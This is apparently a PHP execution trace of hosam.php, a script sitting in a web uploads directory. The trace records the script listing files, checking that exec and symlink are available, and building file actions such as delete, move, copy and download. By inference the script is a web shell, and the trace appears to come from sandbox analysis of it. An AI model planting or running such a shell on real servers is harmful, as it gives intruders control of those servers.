4	322	1	0.015486	789160
4	322	R			'download'
3		A						/var/www/html/uploads/hosam.php	1165	$i++
4	324	0	0.015605	788944	sizeof	0		/var/www/html/uploads/hosam.php	1165	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4	324	1	0.015675	788976
4	324	R			6
3		A						/var/www/html/uploads/hosam.php	1166	$file = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	325	0	0.015716	788944	date	0		/var/www/html/uploads/hosam.php	1168	2	'n/j/y H:i:s'	1676254317
4	325	1	0.015748	789272
4	325	R			'2/12/23 21:11:57'
3		A						/var/www/html/uploads/hosam.php	1168	$timestamps = 'mtime: 2/12/23 21:11:57, '
4	326	0	0.015774	788888	date	0		/var/www/html/uploads/hosam.php	1169	2	'n/j/y H:i:s'	1676254317
4	326	1	0.015805	789216
4	326	R			'2/12/23 21:11:57'
3		A						/var/www/html/uploads/hosam.php	1169	$timestamps .= 'atime: 2/12/23 21:11:57, '
4	327	0	0.015832	788912	date	0		/var/www/html/uploads/hosam.php	1170	2	'n/j/y H:i:s'	1676254317
4	327	1	0.015862	789240
4	327	R			'2/12/23 21:11:57'
3		A						/var/www/html/uploads/hosam.php	1170	$timestamps .= 'ctime: 2/12/23 21:11:57'
4	328	0	0.015888	789136	html	1		/var/www/html/uploads/hosam.php	1174	1	'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
5	329	0	0.015903	789136	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'	2	'ISO-8859-1'
5	329	1	0.015920	789440
5	329	R			'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4	328	1	0.015936	789328
4	328	R			'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4	330	0	0.015953	788992	urlencode	0		/var/www/html/uploads/hosam.php	1197	1	'/var/www/html/uploads/data'
4	330	1	0.015967	789088
4	330	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fdata'
4	331	0	0.015983	789040	html	1		/var/www/html/uploads/hosam.php	1197	1	'data'
5	332	0	0.015995	789040	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'data'	2	'ISO-8859-1'
5	332	1	0.016010	789312
5	332	R			'data'
4	331	1	0.016023	789200
4	331	R			'data'
4	333	0	0.016037	788944	human_filesize	1		/var/www/html/uploads/hosam.php	1220	1	4096
4		A						/var/www/html/uploads/hosam.php	1056	$suffices = 'kMGTPE'
4		A						/var/www/html/uploads/hosam.php	1058	$n = 0
4		A						/var/www/html/uploads/hosam.php	1060	$filesize /= 1024
4		A						/var/www/html/uploads/hosam.php	1061	$n++
5	334	0	0.016091	788944	strpos	0		/var/www/html/uploads/hosam.php	1064	2	4	'.'
5	334	1	0.016103	789016
5	334	R			FALSE
5	335	0	0.016117	788944	round	0		/var/www/html/uploads/hosam.php	1064	2	4	3
5	335	1	0.016129	789016
5	335	R			4
4		A						/var/www/html/uploads/hosam.php	1064	$filesize = 4
5	336	0	0.016153	788944	strpos	0		/var/www/html/uploads/hosam.php	1066	2	4	'.'
5	336	1	0.016166	789272
5	336	R			FALSE
5	337	0	0.016179	788944	substr	0		/var/www/html/uploads/hosam.php	1072	3	'kMGTPE'	0	1
5	337	1	0.016193	789040
5	337	R			'k'
4		A						/var/www/html/uploads/hosam.php	1072	$suffix = 'k'
4	333	1	0.016217	788976
4	333	R			'4 kB'
3		A						/var/www/html/uploads/hosam.php	1220	$human = ' title="4 kB"'
4	338	0	0.016245	788984	decoct	0		/var/www/html/uploads/hosam.php	1229	1	16895
4	338	1	0.016257	789056
4	338	R			'40777'
4	339	0	0.016271	788984	function_exists	0		/var/www/html/uploads/hosam.php	1231	1	'posix_getuid'
4	339	1	0.016284	789024
4	339	R			TRUE
4	340	0	0.016297	788984	posix_getuid	0		/var/www/html/uploads/hosam.php	1231	0
4	340	1	0.016309	788984
4	340	R			33
3		A						/var/www/html/uploads/hosam.php	1231	$l = FALSE
4	341	0	0.016332	788984	permission_octal2string	1		/var/www/html/uploads/hosam.php	1233	1	16895
4		A						/var/www/html/uploads/hosam.php	877	$type = 'd'
4		A						/var/www/html/uploads/hosam.php	886	$owner = 'r'
4		A						/var/www/html/uploads/hosam.php	887	$owner .= 'w'
4		A						/var/www/html/uploads/hosam.php	891	$owner .= 'x'
4		A						/var/www/html/uploads/hosam.php	894	$group = 'r'
4		A						/var/www/html/uploads/hosam.php	895	$group .= 'w'
4		A						/var/www/html/uploads/hosam.php	899	$group .= 'x'
4		A						/var/www/html/uploads/hosam.php	902	$other = 'r'
4		A						/var/www/html/uploads/hosam.php	903	$other .= 'w'
4		A						/var/www/html/uploads/hosam.php	907	$other .= 'x'
4	341	1	0.016441	789024
4	341	R			'drwxrwxrwx'
4	342	0	0.016455	789024	html	1		/var/www/html/uploads/hosam.php	1233	1	'drwxrwxrwx'
5	343	0	0.016467	789024	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'drwxrwxrwx'	2	'ISO-8859-1'
5	343	1	0.016483	789296
5	343	R			'drwxrwxrwx'
4	342	1	0.016497	789184
4	342	R			'drwxrwxrwx'
4	344	0	0.016510	788984	array_key_exists	0		/var/www/html/uploads/hosam.php	1238	2	'owner_name'	['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	344	1	0.016540	789048
4	344	R			TRUE
4	345	0	0.016554	788984	array_key_exists	0		/var/www/html/uploads/hosam.php	1244	2	'group_name'	['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	345	1	0.016581	789048
4	345	R			TRUE
4	346	0	0.016596	789080	html	1		/var/www/html/uploads/hosam.php	1253	1	'/var/www/html/uploads/data'
5	347	0	0.016609	789080	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'/var/www/html/uploads/data'	2	'ISO-8859-1'
5	347	1	0.016624	789352
5	347	R			'/var/www/html/uploads/data'
4	346	1	0.016639	789240
4	346	R			'/var/www/html/uploads/data'
3		A						/var/www/html/uploads/hosam.php	1256	$actions = []
4	348	0	0.016665	788608	function_exists	0		/var/www/html/uploads/hosam.php	1257	1	'symlink'
4	348	1	0.016678	788648
4	348	R			TRUE
3		A						/var/www/html/uploads/hosam.php	1258	$actions[] = 'create_symlink'
4	349	0	0.016703	788984	dirname	0		/var/www/html/uploads/hosam.php	1260	1	'/var/www/html/uploads/data'
4	349	1	0.016716	789072
4	349	R			'/var/www/html/uploads'
4	350	0	0.016730	789040	is_writable	0		/var/www/html/uploads/hosam.php	1260	1	'/var/www/html/uploads'
4	350	1	0.016746	789080
4	350	R			TRUE
3		A						/var/www/html/uploads/hosam.php	1261	$actions[] = 'delete'
3		A						/var/www/html/uploads/hosam.php	1262	$actions[] = 'rename'
3		A						/var/www/html/uploads/hosam.php	1263	$actions[] = 'move'
4	351	0	0.016790	788984	function_exists	0		/var/www/html/uploads/hosam.php	1270	1	'exec'
4	351	1	0.016803	789024
4	351	R			TRUE
4	352	0	0.016816	788984	sizeof	0		/var/www/html/uploads/hosam.php	1274	1	[0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move']
4	352	1	0.016833	789016
4	352	R			4
4	353	0	0.016846	789080	str_repeat	0		/var/www/html/uploads/hosam.php	1277	2	'&nbsp;'	30
4	353	1	0.016860	789368
4	353	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	354	0	0.016876	789048	word	1		/var/www/html/uploads/hosam.php	1281	1	'create_symlink'
5	355	0	0.016889	789048	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'create symlink'	2	'ISO-8859-1'
5	355	1	0.016904	789320
5	355	R			'create symlink'
4	354	1	0.016919	789208
4	354	R			'create symlink'
4	356	0	0.016939	789040	word	1		/var/www/html/uploads/hosam.php	1281	1	'delete'
5	357	0	0.016951	789040	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'delete'	2	'ISO-8859-1'
5	357	1	0.016966	789312
5	357	R			'delete'
4	356	1	0.016979	789200
4	356	R			'delete'
4	358	0	0.016993	789040	word	1		/var/www/html/uploads/hosam.php	1281	1	'rename'
5	359	0	0.017005	789040	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'rename'	2	'ISO-8859-1'
5	359	1	0.017019	789312
5	359	R			'rename'
4	358	1	0.017032	789200
4	358	R			'rename'
4	360	0	0.017047	789032	word	1		/var/www/html/uploads/hosam.php	1281	1	'move'
5	361	0	0.017059	789032	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'move'	2	'ISO-8859-1'
5	361	1	0.017073	789304
5	361	R			'move'
4	360	1	0.017086	789192
4	360	R			'move'
3		A						/var/www/html/uploads/hosam.php	1165	$i++
4	362	0	0.017110	788984	sizeof	0		/var/www/html/uploads/hosam.php	1165	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4	362	1	0.017181	789016
4	362	R			6
3		A						/var/www/html/uploads/hosam.php	1166	$file = ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4	363	0	0.017221	788984	date	0		/var/www/html/uploads/hosam.php	1168	2	'n/j/y H:i:s'	1676254317
4	363	1	0.017252	789312
4	363	R			'2/12/23 21:11:57'
3		A						/var/www/html/uploads/hosam.php	1168	$timestamps = 'mtime: 2/12/23 21:11:57, '
4	364	0	0.017279	788928	date	0		/var/www/html/uploads/hosam.php	1169	2	'n/j/y H:i:s'	1676254317
4	364	1	0.017309	789256
4	364	R			'2/12/23 21:11:57'
3		A						/var/www/html/uploads/hosam.php	1169	$timestamps .= 'atime: 2/12/23 21:11:57, '
4	365	0	0.017336	788952	date	0		/var/www/html/uploads/hosam.php	1170	2	'n/j/y H:i:s'	1676254317
4	365	1	0.017366	789280
4	365	R			'2/12/23 21:11:57'
3		A						/var/www/html/uploads/hosam.php	1170	$timestamps .= 'ctime: 2/12/23 21:11:57'
4	366	0	0.017392	789176	html	1		/var/www/html/uploads/hosam.php	1174	1	'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
5	367	0	0.017406	789176	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'	2	'ISO-8859-1'
5	367	1	0.017424	789480
5	367	R			'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4	366	1	0.017439	789368
4	366	R			'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4	368	0	0.017456	788984	substr	0		/var/www/html/uploads/hosam.php	1205	3	'hosam.php'	0	1
4	368	1	0.017469	789080
4	368	R			'h'
4	369	0	0.017483	789064	urlencode	0		/var/www/html/uploads/hosam.php	1212	1	'/var/www/html/uploads/hosam.php'
4	369	1	0.017497	789176
4	369	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fhosam.php'
4	370	0	0.017513	789096	html	1		/var/www/html/uploads/hosam.php	1212	1	'hosam.php'
5	371	0	0.017525	789096	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'hosam.php'	2	'ISO-8859-1'
5	371	1	0.017540	789368
5	371	R			'hosam.php'
4	370	1	0.017554	789256
4	370	R			'hosam.php'
4	372	0	0.017568	788984	human_filesize	1		/var/www/html/uploads/hosam.php	1220	1	68561
4		A						/var/www/html/uploads/hosam.php	1056	$suffices = 'kMGTPE'
4		A						/var/www/html/uploads/hosam.php	1058	$n = 0
4		A						/var/www/html/uploads/hosam.php	1060	$filesize /= 1024
4		A						/var/www/html/uploads/hosam.php	1061	$n++
5	373	0	0.017621	788984	strpos	0		/var/www/html/uploads/hosam.php	1064	2	66.9541015625	'.'
5	373	1	0.017635	789312
5	373	R			2
5	374	0	0.017648	788984	round	0		/var/www/html/uploads/hosam.php	1064	2	66.9541015625	1
5	374	1	0.017661	789056
5	374	R			67
4		A						/var/www/html/uploads/hosam.php	1064	$filesize = 67
5	375	0	0.017685	788984	strpos	0		/var/www/html/uploads/hosam.php	1066	2	67	'.'
5	375	1	0.017697	789312
5	375	R			FALSE
5	376	0	0.017714	788984	substr	0		/var/www/html/uploads/hosam.php	1072	3	'kMGTPE'	0	1
5	376	1	0.017727	789080
5	376	R			'k'
4		A						/var/www/html/uploads/hosam.php	1072	$suffix = 'k'
4	372	1	0.017752	789016
4	372	R			'67 kB'
3		A						/var/www/html/uploads/hosam.php	1220	$human = ' title="67 kB"'
4	377	0	0.017777	788984	decoct	0		/var/www/html/uploads/hosam.php	1229	1	33204
4	377	1	0.017790	789056
4	377	R			'100664'
4	378	0	0.017804	788984	function_exists	0		/var/www/html/uploads/hosam.php	1231	1	'posix_getuid'
4	378	1	0.017817	789024
4	378	R			TRUE
4	379	0	0.017830	788984	posix_getuid	0		/var/www/html/uploads/hosam.php	1231	0
4	379	1	0.017842	788984
4	379	R			33
3		A						/var/www/html/uploads/hosam.php	1231	$l = FALSE
4	380	0	0.017865	788984	permission_octal2string	1		/var/www/html/uploads/hosam.php	1233	1	33204
4		A						/var/www/html/uploads/hosam.php	873	$type = '-'
4		A						/var/www/html/uploads/hosam.php	886	$owner = 'r'
4		A						/var/www/html/uploads/hosam.php	887	$owner .= 'w'
4		A						/var/www/html/uploads/hosam.php	891	$owner .= '-'
4		A						/var/www/html/uploads/hosam.php	894	$group = 'r'
4		A						/var/www/html/uploads/hosam.php	895	$group .= 'w'
4		A						/var/www/html/uploads/hosam.php	899	$group .= '-'
4		A						/var/www/html/uploads/hosam.php	902	$other = 'r'
4		A						/var/www/html/uploads/hosam.php	903	$other .= '-'
4		A						/var/www/html/uploads/hosam.php	907	$other .= '-'
4	380	1	0.017975	789024
4	380	R			'-rw-rw-r--'
4	381	0	0.017989	789024	html	1		/var/www/html/uploads/hosam.php	1233	1	'-rw-rw-r--'
5	382	0	0.018002	789024	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'-rw-rw-r--'	2	'ISO-8859-1'
5	382	1	0.018016	789296
5	382	R			'-rw-rw-r--'
4	381	1	0.018030	789184
4	381	R			'-rw-rw-r--'
4	383	0	0.018044	788984	array_key_exists	0		/var/www/html/uploads/hosam.php	1238	2	'owner_name'	['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4	383	1	0.018074	789048
4	383	R			TRUE
4	384	0	0.018087	788984	array_key_exists	0		/var/www/html/uploads/hosam.php	1244	2	'group_name'	['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4	384	1	0.018116	789048
4	384	R			TRUE
4	385	0	0.018130	789080	html	1		/var/www/html/uploads/hosam.php	1253	1	'/var/www/html/uploads/hosam.php'
5	386	0	0.018143	789080	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'/var/www/html/uploads/hosam.php'	2	'ISO-8859-1'
5	386	1	0.018158	789352
5	386	R			'/var/www/html/uploads/hosam.php'
4	385	1	0.018173	789240
4	385	R			'/var/www/html/uploads/hosam.php'
3		A						/var/www/html/uploads/hosam.php	1256	$actions = []
4	387	0	0.018198	788608	function_exists	0		/var/www/html/uploads/hosam.php	1257	1	'symlink'
4	387	1	0.018212	788648
4	387	R			TRUE
3		A						/var/www/html/uploads/hosam.php	1258	$actions[] = 'create_symlink'
4	388	0	0.018236	788984	dirname	0		/var/www/html/uploads/hosam.php	1260	1	'/var/www/html/uploads/hosam.php'
4	388	1	0.018249	789072
4	388	R			'/var/www/html/uploads'
4	389	0	0.018267	789040	is_writable	0		/var/www/html/uploads/hosam.php	1260	1	'/var/www/html/uploads'
4	389	1	0.018284	789080
4	389	R			TRUE
3		A						/var/www/html/uploads/hosam.php	1261	$actions[] = 'delete'
3		A						/var/www/html/uploads/hosam.php	1262	$actions[] = 'rename'
3		A						/var/www/html/uploads/hosam.php	1263	$actions[] = 'move'
3		A						/var/www/html/uploads/hosam.php	1266	$actions[] = 'copy'
3		A						/var/www/html/uploads/hosam.php	1267	$actions[] = 'download'
4	390	0	0.018360	788984	function_exists	0		/var/www/html/uploads/hosam.php	1270	1	'exec'
4	390	1	0.018374	789024
4	390	R			TRUE
4	391	0	0.018387	788984	sizeof	0		/var/www/html/uploads/hosam.php	1274	1	[0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move', 4 => 'copy', 5 => 'download']
4	391	1	0.018405	789016
4	391	R			6
4	392	0	0.018423	789080	str_repeat	0		/var/www/html/uploads/hosam.php	1277	2	'&nbsp;'	30
4	392	1	0.018437	789368
4	392	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	393	0	0.018453	789048	word	1		/var/www/html/uploads/hosam.php	1281	1	'create_symlink'
5	394	0	0.018467	789048	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'create symlink'	2	'ISO-8859-1'
5	394	1	0.018482	789320
5	394	R			'create symlink'
4	393	1	0.018497	789208
4	393	R			'create symlink'
4	395	0	0.018512	789040	word	1		/var/www/html/uploads/hosam.php	1281	1	'delete'
5	396	0	0.018524	789040	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'delete'	2	'ISO-8859-1'
5	396	1	0.018539	789312
5	396	R			'delete'
4	395	1	0.018552	789200
4	395	R			'delete'
4	397	0	0.018566	789040	word	1		/var/www/html/uploads/hosam.php	1281	1	'rename'
5	398	0	0.018578	789040	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'rename'	2	'ISO-8859-1'
5	398	1	0.018592	789312
5	398	R			'rename'
4	397	1	0.018606	789200
4	397	R			'rename'
4	399	0	0.018620	789032	word	1		/var/www/html/uploads/hosam.php	1281	1	'move'
5	400	0	0.018632	789032	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'move'	2	'ISO-8859-1'
5	400	1	0.018649	789304
5	400	R			'move'
4	399	1	0.018662	789192
4	399	R			'move'
4	401	0	0.018708	789032	word	1		/var/www/html/uploads/hosam.php	1281	1	'copy'
5	402	0	0.018721	789032	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'copy'	2	'ISO-8859-1'
5	402	1	0.018736	789304
5	402	R			'copy'
4	401	1	0.018750	789192
4	401	R			'copy'
4	403	0	0.018763	789040	word	1		/var/www/html/uploads/hosam.php	1281	1	'download'
5	404	0	0.018776	789040	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'download'	2	'ISO-8859-1'
5	404	1	0.018790	789312
5	404	R			'download'
4	403	1	0.018803	789200
4	403	R			'download'
3		A						/var/www/html/uploads/hosam.php	1165	$i++
4	405	0	0.018828	788984	sizeof	0		/var/www/html/uploads/hosam.php	1165	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4	405	1	0.018901	789016
4	405	R			6
3		A						/var/www/html/uploads/hosam.php	1166	$file = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	406	0	0.018941	788984	date	0		/var/www/html/uploads/hosam.php	1168	2	'n/j/y H:i:s'	1676254317
4	406	1	0.018974	789312
4	406	R			'2/12/23 21:11:57'
3		A						/var/www/html/uploads/hosam.php	1168	$timestamps = 'mtime: 2/12/23 21:11:57, '
